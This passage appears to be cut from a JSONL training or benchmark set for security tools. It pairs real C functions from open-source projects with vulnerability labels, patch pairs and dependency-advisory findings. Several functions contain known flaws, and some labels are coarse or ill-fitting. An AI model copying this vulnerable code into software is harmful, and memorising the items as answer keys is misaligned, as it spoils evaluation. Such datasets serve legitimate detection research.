Bounds\",\n \"cve\": \"CVE-2016-1621\",\n \"fixed_code\": \" static void unset_active_map(const vpx_codec_enc_cfg_t *cfg,\\n vpx_codec_ctx_t *codec) {\\n vpx_active_map_t map = {0, 0, 0};\\n \\n map.rows = (cfg->g_h + 15) / 16;\\n map.cols = (cfg->g_w + 15) / 16;\\n map.active_map = NULL;\\n\\n if (vpx_codec_control(codec, VP8E_SET_ACTIVEMAP, &map))\\n\\n die_codec(codec, \\\"Failed to set active map\\\");\\n }\\n\",\n \"change_summary\": \"Merge Conflict Fix CL to lmp-mr1-release for ag/849478\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: io.netty:netty-codec-http\nInstalled version: 4.2.16.Final\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Maven\",\n \"package\": \"io.netty:netty-codec-http\",\n \"installed_version\": \"4.2.16.Final\",\n \"note\": \"io.netty:netty-codec-http 4.2.16.Final is at or above the fixed version for GHSA-jppx-w49h-x2qq; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-88", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: codecov\nInstalled version: <2.0.16\nSummary: Codecov does not sanitize gcov arguments", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-h3qr-fjhm-jphw\",\n \"cve\": \"CVE-2019-10800\",\n \"aliases\": [\n \"CVE-2019-10800\",\n \"PYSEC-2022-238\",\n \"SNYK-PYTHON-CODECOV-552149\"\n ],\n \"cwe\": \"CWE-88\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"codecov\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <2.0.16\",\n \"fixed_version\": \"2.0.16\",\n \"finding\": \"Codecov does not sanitize gcov arguments\",\n \"remediation\": \"Upgrade codecov to 2.0.16 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "mark_desktop_files_trusted (void)\n{\n\tchar *user_dir, *do_once_file;\n\tGFile *f, *c;\n\tGFileEnumerator *e;\n\tGFileInfo *info;\n\tconst char *name;\n\tint fd;\n\t\n\tuser_dir = nautilus_get_user_directory ();\n\tdo_once_file = g_build_filename (user_dir, \"converted-launchers\", NULL);\n\tg_free (user_dir);\n\n\tif (g_file_test (do_once_file, G_FILE_TEST_EXISTS)) {\n\t\tgoto out;\n\t}\n\n\tf = nautilus_get_desktop_location ();\n\te = g_file_enumerate_children (f,\n\t\t\t\t G_FILE_ATTRIBUTE_STANDARD_TYPE \",\"\n\t\t\t\t G_FILE_ATTRIBUTE_STANDARD_NAME \",\"\n\t\t\t\t G_FILE_ATTRIBUTE_ACCESS_CAN_EXECUTE\n\t\t\t\t ,\n\t\t\t\t G_FILE_QUERY_INFO_NOFOLLOW_SYMLINKS,\n\t\t\t\t NULL, NULL);\n\tif (e == NULL) {\n\t\tgoto out2;\n\t}\n\t\n\twhile ((info = g_file_enumerator_next_file (e, NULL, NULL)) != NULL) {\n\t\tname = g_file_info_get_name (info);\n\t\t\n\t\tif (g_str_has_suffix (name, \".desktop\") &&\n\t\t !g_file_info_get_attribute_boolean (info, G_FILE_ATTRIBUTE_ACCESS_CAN_EXECUTE)) {\n\t\t\tc = g_file_get_child (f, name);\n\t\t\tnautilus_file_mark_desktop_file_trusted (c,\n\t\t\t\t\t\t\t\t NULL, FALSE,\n\t\t\t\t\t\t\t\t NULL, NULL);\n\t\t\tg_object_unref (c);\n\t\t}\n\t\tg_object_unref (info);\n\t}\n\t\n\tg_object_unref (e);\n out2:\n\tfd = g_creat (do_once_file, 0666);\n\tclose (fd);\n\t\n\tg_object_unref (f);\n out:\t\n\tg_free (do_once_file);\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"nautilus\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: hexo\nInstalled version: 0.0.1\nSummary: Hexo Vulnerable to XSS", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-q54r-r9pr-w7qv\",\n \"cve\": \"CVE-2021-25987\",\n \"aliases\": [\n \"CVE-2021-25987\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"npm\",\n \"package\": \"hexo\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0.0.1, <6.0.0\",\n \"fixed_version\": \"6.0.0\",\n \"finding\": \"Hexo Vulnerable to XSS\",\n \"remediation\": \"Upgrade hexo to 6.0.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-89", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: com.yahoo.elide:elide-datastore-aggregation\nInstalled version: 6.1.3\nSummary: SQL Injection in elide-datastore-aggregation", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-8xpj-9j9g-fc9r\",\n \"cve\": \"CVE-2022-24827\",\n \"aliases\": [\n \"CVE-2022-24827\"\n ],\n \"cwe\": \"CWE-89\",\n \"ecosystem\": \"Maven\",\n \"package\": \"com.yahoo.elide:elide-datastore-aggregation\",\n \"severity\": \"high\",\n \"affected_versions\": \">=6.1.3, <6.1.4\",\n \"fixed_version\": \"6.1.4\",\n \"finding\": \"SQL Injection in elide-datastore-aggregation\",\n \"remediation\": \"Upgrade com.yahoo.elide:elide-datastore-aggregation to 6.1.4 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: ansible\nInstalled version: <8.5.0\nSummary: Ansible symlink attack vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-1120\",\n \"cve\": \"CVE-2023-5115\",\n \"aliases\": [\n \"CVE-2023-5115\",\n \"GHSA-jpvw-p8pr-9g2x\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"ansible\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <8.5.0\",\n \"fixed_version\": \"8.5.0\",\n \"finding\": \"Ansible symlink attack vulnerability\",\n \"remediation\": \"Upgrade ansible to 8.5.0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void initServer() {\n int j;\n\n signal(SIGHUP, SIG_IGN);\n signal(SIGPIPE, SIG_IGN);\n setupSigSegvAction();\n\n if (server.syslog_enabled) {\n openlog(server.syslog_ident, LOG_PID | LOG_NDELAY | LOG_NOWAIT,\n server.syslog_facility);\n }\n\n server.mainthread = pthread_self();\n server.clients = listCreate();\n server.slaves = listCreate();\n server.monitors = listCreate();\n server.unblocked_clients = listCreate();\n createSharedObjects();\n server.el = aeCreateEventLoop();\n server.db = zmalloc(sizeof(redisDb)*server.dbnum);\n server.ipfd = anetTcpServer(server.neterr,server.port,server.bindaddr);\n if (server.ipfd == ANET_ERR) {\n redisLog(REDIS_WARNING, \"Opening port: %s\", server.neterr);\n exit(1);\n }\n if (server.unixsocket != NULL) {\n unlink(server.unixsocket); /* don't care if this fails */\n server.sofd = anetUnixServer(server.neterr,server.unixsocket);\n if (server.sofd == ANET_ERR) {\n redisLog(REDIS_WARNING, \"Opening socket: %s\", server.neterr);\n exit(1);\n }\n }\n if (server.ipfd < 0 && server.sofd < 0) {\n redisLog(REDIS_WARNING, \"Configured to not listen anywhere, exiting.\");\n exit(1);\n }\n for (j = 0; j < server.dbnum; j++) {\n server.db[j].dict = dictCreate(&dbDictType,NULL);\n server.db[j].expires = dictCreate(&keyptrDictType,NULL);\n server.db[j].blocking_keys = dictCreate(&keylistDictType,NULL);\n server.db[j].watched_keys = dictCreate(&keylistDictType,NULL);\n if (server.vm_enabled)\n server.db[j].io_keys = dictCreate(&keylistDictType,NULL);\n server.db[j].id = j;\n }\n server.pubsub_channels = dictCreate(&keylistDictType,NULL);\n server.pubsub_patterns = listCreate();\n listSetFreeMethod(server.pubsub_patterns,freePubsubPattern);\n listSetMatchMethod(server.pubsub_patterns,listMatchPubsubPattern);\n server.cronloops = 0;\n server.bgsavechildpid = -1;\n server.bgrewritechildpid = -1;\n server.bgrewritebuf = sdsempty();\n server.aofbuf = sdsempty();\n server.lastsave = time(NULL);\n server.dirty = 0;\n server.stat_numcommands = 0;\n server.stat_numconnections = 0;\n server.stat_expiredkeys = 0;\n server.stat_evictedkeys = 0;\n server.stat_starttime = time(NULL);\n server.stat_keyspace_misses = 0;\n server.stat_keyspace_hits = 0;\n server.unixtime = time(NULL);\n aeCreateTimeEvent(server.el, 1, serverCron, NULL, NULL);\n if (server.ipfd > 0 && aeCreateFileEvent(server.el,server.ipfd,AE_READABLE,\n acceptTcpHandler,NULL) == AE_ERR) oom(\"creating file event\");\n if (server.sofd > 0 && aeCreateFileEvent(server.el,server.sofd,AE_READABLE,\n acceptUnixHandler,NULL) == AE_ERR) oom(\"creating file event\");\n\n if (server.appendonly) {\n server.appendfd = open(server.appendfilename,O_WRONLY|O_APPEND|O_CREAT,0644);\n if (server.appendfd == -1) {\n redisLog(REDIS_WARNING, \"Can't open the append-only file: %s\",\n strerror(errno));\n exit(1);\n }\n }\n\n if (server.vm_enabled) vmInit();\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"project\": \"redis\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void ssl_set_client_disabled(SSL *s)\n\t{\n\tCERT *c = s->cert;\n\tc->mask_a = 0;\n\tc->mask_k = 0;\n\t/* Don't allow TLS 1.2 only ciphers if we don't suppport them */\n\tif (!SSL_CLIENT_USE_TLS1_2_CIPHERS(s))\n\t\tc->mask_ssl = SSL_TLSV1_2;\n\telse\n\t\tc->mask_ssl = 0;\n\tssl_set_sig_mask(&c->mask_a, s, SSL_SECOP_SIGALG_MASK);\n\t/* Disable static DH if we don't include any appropriate\n\t * signature algorithms.\n\t */\n\tif (c->mask_a & SSL_aRSA)\n\t\tc->mask_k |= SSL_kDHr|SSL_kECDHr;\n\tif (c->mask_a & SSL_aDSS)\n\t\tc->mask_k |= SSL_kDHd;\n\tif (c->mask_a & SSL_aECDSA)\n\t\tc->mask_k |= SSL_kECDHe;\n#ifndef OPENSSL_NO_KRB5\n\tif (!kssl_tgt_is_available(s->kssl_ctx))\n\t\t{\n\t\tc->mask_a |= SSL_aKRB5;\n\t\tc->mask_k |= SSL_kKRB5;\n\t\t}\n#endif\n#ifndef OPENSSL_NO_PSK\n\t/* with PSK there must be client callback set */\n\tif (!s->psk_client_callback)\n\t\t{\n\t\tc->mask_a |= SSL_aPSK;\n c->mask_k |= SSL_kPSK;\n }\n #endif /* OPENSSL_NO_PSK */\n c->valid = 1;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"cve\": \"CVE-2014-5139\",\n \"project\": \"openssl\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static ssize_t cuse_read_iter(struct kiocb *kiocb, struct iov_iter *to)\n{\n\tstruct fuse_io_priv io = { .async = 0, .file = kiocb->ki_filp };\n\tloff_t pos = 0;\n\n\treturn fuse_direct_io(&io, to, &pos, FUSE_DIO_CUSE);\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": " void FocusIn(const char* input_context_path) {\n if (!input_context_path) {\n LOG(ERROR) << \"NULL context passed\";\n } else {\n DLOG(INFO) << \"FocusIn: \" << input_context_path;\n }\n input_context_path_ = Or(input_context_path, \"\");\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-2804\",\n \"project\": \"Chrome\",\n \"vulnerable_lines\": [\n 2,\n 3,\n 4,\n 5,\n 6,\n 7,\n 8\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 2\n },\n {\n \"token\": \"FocusIn\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 14\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 1,\n \"col\": 15\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 21\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 25\n },\n {\n \"token\": \"input_context_path\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 27\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 1,\n \"col\": 47\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 2,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 2,\n \"col\": 7\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 2,\n \"col\": 8\n },\n {\n \"token\": \"input_context_path\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 9\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 27\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 29\n },\n {\n \"token\": \"LOG\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 9\n },\n {\n \"token\": \"ERROR\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"<<\",\n \"ast_node\": \"<<\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 20\n },\n {\n \"token\": \"NULL context passed\",\n \"ast_node\": \"string_content\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 40\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 41\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 4,\n \"col\": 4\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 4,\n \"col\": 6\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \"DLOG\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 10\n },\n {\n \"token\": \"INFO\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 11\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 15\n },\n {\n \"token\": \"<<\",\n \"ast_node\": \"<<\",\n \"line\": 5,\n \"col\": 17\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 5,\n \"col\": 20\n },\n {\n \"token\": \"FocusIn: \",\n \"ast_node\": \"string_content\",\n \"line\": 5,\n \"col\": 21\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 5,\n \"col\": 30\n },\n {\n \"token\": \"<<\",\n \"ast_node\": \"<<\",\n \"line\": 5,\n \"col\": 32\n },\n {\n \"token\": \"input_context_path\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 35\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 53\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 6,\n \"col\": 4\n },\n {\n \"token\": \"input_context_path_\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 4\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 24\n },\n {\n \"token\": \"Or\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 26\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 28\n },\n {\n \"token\": \"input_context_path\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 29\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 47\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 7,\n \"col\": 49\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 7,\n \"col\": 50\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 51\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 52\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 8,\n \"col\": 2\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static unsigned short atalk_checksum(const struct sk_buff *skb, int len)\n{\n\tunsigned long sum;\n\n\t/* skip header 4 bytes */\n\tsum = atalk_sum_skb(skb, 4, len-4, 0);\n\n\t/* Use 0xFFFF for 0. 0 itself means none */\n\treturn sum ? htons((unsigned short)sum) : 0xFFFF;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"history\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:10\nManifest: distro package manager (apt/apk)\nPackage: golang-github-opencontainers-selinux\nInstalled version: <1.0.0~rc1+git20170621.5.4a2974b-1+deb10u1\nSummary: golang-github-opencontainers-selinux - security update", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DLA-3322-1\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:10\",\n \"package\": \"golang-github-opencontainers-selinux\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <1.0.0~rc1+git20170621.5.4a2974b-1+deb10u1\",\n \"fixed_version\": \"1.0.0~rc1+git20170621.5.4a2974b-1+deb10u1\",\n \"finding\": \"golang-github-opencontainers-selinux - security update\",\n \"remediation\": \"Upgrade golang-github-opencontainers-selinux to 1.0.0~rc1+git20170621.5.4a2974b-1+deb10u1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static MagickBooleanType GetTIFFInfo(const ImageInfo *image_info,\n TIFF *tiff,TIFFInfo *tiff_info)\n{\n const char\n *option;\n\n MagickStatusType\n flags;\n\n uint32\n tile_columns,\n tile_rows;\n\n assert(tiff_info != (TIFFInfo *) NULL);\n (void) ResetMagickMemory(tiff_info,0,sizeof(*tiff_info));\n option=GetImageOption(image_info,\"tiff:tile-geometry\");\n if (option == (const char *) NULL)\n {\n uint32\n rows_per_strip;\n\n option=GetImageOption(image_info,\"tiff:rows-per-strip\");\n if (option != (const char *) NULL)\n rows_per_strip=(size_t) strtol(option,(char **) NULL,10);\n else\n if (TIFFGetField(tiff,TIFFTAG_IMAGELENGTH,&rows_per_strip) == 0)\n rows_per_strip=0; /* use default */\n rows_per_strip=TIFFDefaultStripSize(tiff,rows_per_strip);\n (void) TIFFSetField(tiff,TIFFTAG_ROWSPERSTRIP,rows_per_strip);\n return(MagickTrue);\n }\n /*\n Create tiled TIFF, ignore \"tiff:rows-per-strip\".\n */\n flags=ParseAbsoluteGeometry(option,&tiff_info->tile_geometry);\n if ((flags & HeightValue) == 0)\n tiff_info->tile_geometry.height=tiff_info->tile_geometry.width;\n tile_columns=(uint32) tiff_info->tile_geometry.width;\n tile_rows=(uint32) tiff_info->tile_geometry.height;\n TIFFDefaultTileSize(tiff,&tile_columns,&tile_rows);\n (void) TIFFSetField(tiff,TIFFTAG_TILEWIDTH,tile_columns);\n (void) TIFFSetField(tiff,TIFFTAG_TILELENGTH,tile_rows);\n tiff_info->tile_geometry.width=tile_columns;\n tiff_info->tile_geometry.height=tile_rows;\n tiff_info->scanlines=(unsigned char *) AcquireQuantumMemory((size_t)\n tile_rows*TIFFScanlineSize(tiff),sizeof(*tiff_info->scanlines));\n tiff_info->pixels=(unsigned char *) AcquireQuantumMemory((size_t)\n tile_rows*TIFFTileSize(tiff),sizeof(*tiff_info->scanlines));\n if ((tiff_info->scanlines == (unsigned char *) NULL) ||\n (tiff_info->pixels == (unsigned char *) NULL))\n {\n DestroyTIFFInfo(tiff_info);\n return(MagickFalse);\n }\n return(MagickTrue);\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"ImageMagick\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: authlib\nInstalled version: 1.6.9\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"authlib\",\n \"installed_version\": \"1.6.9\",\n \"note\": \"authlib 1.6.9 is at or above the fixed version for PYSEC-2026-287; no known advisory applies to this version.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-77", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-77). Produce the patched version and explain the fix. Output JSON.", "input": "static void print_value(int output, int num, const char *devname,\n\t\t\tconst char *value, const char *name, size_t valsz)\n{\n\tif (output & OUTPUT_VALUE_ONLY) {\n\t\tfputs(value, stdout);\n\t\tfputc('\\n', stdout);\n\n\t} else if (output & OUTPUT_UDEV_LIST) {\n\t\tprint_udev_format(name, value);\n\n\t} else if (output & OUTPUT_EXPORT_LIST) {\n\t\tif (num == 1 && devname)\n \t\t\tprintf(\"DEVNAME=%s\\n\", devname);\n \t\tfputs(name, stdout);\n \t\tfputs(\"=\", stdout);\n\t\tsafe_print(value, valsz, NULL);\n \t\tfputs(\"\\n\", stdout);\n \n \t} else {\n\t\tif (num == 1 && devname)\n\t\t\tprintf(\"%s:\", devname);\n \t\tfputs(\" \", stdout);\n \t\tfputs(name, stdout);\n \t\tfputs(\"=\\\"\", stdout);\n\t\tsafe_print(value, valsz, \"\\\"\");\n \t\tfputs(\"\\\"\", stdout);\n \t}\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-77\",\n \"cwe_name\": \"see MITRE CWE\",\n \"cve\": \"CVE-2014-9114\",\n \"fixed_code\": \"static void print_value(int output, int num, const char *devname,\\n\\t\\t\\tconst char *value, const char *name, size_t valsz)\\n{\\n\\tif (output & OUTPUT_VALUE_ONLY) {\\n\\t\\tfputs(value, stdout);\\n\\t\\tfputc('\\\\n', stdout);\\n\\n\\t} else if (output & OUTPUT_UDEV_LIST) {\\n\\t\\tprint_udev_format(name, value);\\n\\n\\t} else if (output & OUTPUT_EXPORT_LIST) {\\n\\t\\tif (num == 1 && devname)\\n \\t\\t\\tprintf(\\\"DEVNAME=%s\\\\n\\\", devname);\\n \\t\\tfputs(name, stdout);\\n \\t\\tfputs(\\\"=\\\", stdout);\\n\\t\\tsafe_print(value, valsz, \\\" \\\\\\\\\\\\\\\"'$`<>\\\");\\n \\t\\tfputs(\\\"\\\\n\\\", stdout);\\n \\n \\t} else {\\n\\t\\tif (num == 1 && devname)\\n\\t\\t\\tprintf(\\\"%s:\\\", devname);\\n \\t\\tfputs(\\\" \\\", stdout);\\n \\t\\tfputs(name, stdout);\\n \\t\\tfputs(\\\"=\\\\\\\"\\\", stdout);\\n\\t\\tsafe_print(value, valsz, \\\"\\\\\\\"\\\\\\\\\\\");\\n \\t\\tfputs(\\\"\\\\\\\"\\\", stdout);\\n \\t}\\n }\\n\",\n \"change_summary\": \"libblkid: care about unsafe chars in cache\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-415", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int tcos_select_file(sc_card_t *card,\n\t\t\t const sc_path_t *in_path,\n\t\t\t sc_file_t **file_out)\n{\n\tsc_context_t *ctx;\n\tsc_apdu_t apdu;\n\tsc_file_t *file=NULL;\n\tu8 buf[SC_MAX_APDU_BUFFER_SIZE], pathbuf[SC_MAX_PATH_SIZE], *path = pathbuf;\n\tunsigned int i;\n\tint r, pathlen;\n\n\tassert(card != NULL && in_path != NULL);\n\tctx=card->ctx;\n\tmemcpy(path, in_path->value, in_path->len);\n\tpathlen = in_path->len;\n\n\tsc_format_apdu(card, &apdu, SC_APDU_CASE_4_SHORT, 0xA4, 0, 0x04);\n\t\n\tswitch (in_path->type) {\n\tcase SC_PATH_TYPE_FILE_ID:\n\t\tif (pathlen != 2) return SC_ERROR_INVALID_ARGUMENTS;\n\t\t/* fall through */\n\tcase SC_PATH_TYPE_FROM_CURRENT:\n\t\tapdu.p1 = 9;\n\t\tbreak;\n\tcase SC_PATH_TYPE_DF_NAME:\n\t\tapdu.p1 = 4;\n\t\tbreak;\n\tcase SC_PATH_TYPE_PATH:\n\t\tapdu.p1 = 8;\n\t\tif (pathlen >= 2 && memcmp(path, \"\\x3F\\x00\", 2) == 0) path += 2, pathlen -= 2;\n\t\tif (pathlen == 0) apdu.p1 = 0;\n\t\tbreak;\n\tcase SC_PATH_TYPE_PARENT:\n\t\tapdu.p1 = 3;\n\t\tpathlen = 